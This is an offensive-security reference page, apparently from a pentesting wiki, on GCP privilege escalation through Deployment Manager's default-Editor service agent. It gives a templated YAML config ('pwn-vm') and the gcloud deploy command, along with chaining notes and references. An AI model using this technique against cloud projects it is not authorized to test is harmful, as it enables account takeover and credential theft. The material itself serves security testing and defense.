Deployment Manager

Deployment Manager deployments run as the Google APIs service agent (<project-number>@cloudservices.gserviceaccount.com), which holds the roles/editor on the project by default. With deploymentmanager.deployments.create, you deploy a configuration that creates a resource granting you access, effectively borrowing Editor without holding actAs on a normal service account.

Deploy a config that escalates#

# escalate.yaml: have the Editor service agent grant you a role, or create a
# VM/function bound to a privileged account
resources:
  - name: pwn-vm
    type: compute.v1.instance
    properties:
      zone: <zone>
      machineType: zones/<zone>/machineTypes/e2-small
      serviceAccounts:
        - email: <privileged-sa>@<project>.iam.gserviceaccount.com
          scopes: [ "https://www.googleapis.com/auth/cloud-platform" ]
      # ... disks / network ...

gcloud deployment-manager deployments create pwn --config=escalate.yaml

Exploitation notes#

• The service agent's default Editor is the point: the deployment creates resources you could not create directly, running as Editor.
• Editor cannot set IAM policy, so chain to a resource that yields a token (a VM or function bound to a privileged account) rather than expecting a direct Owner grant.
• Deployment Manager is being wound down in favour of Infrastructure Manager; the technique persists wherever the API is still enabled.

Tools#

• gcloud (deployment-manager deployments create): the deploy.
• GCP-IAM-Privilege-Escalation (Rhino): documents the service-agent Editor path.

References#

• Rhino Security Labs: GCP privilege escalation (part 2)
• GCP IAM privilege escalation (Rhino repo)
• Google: Deployment Manager access control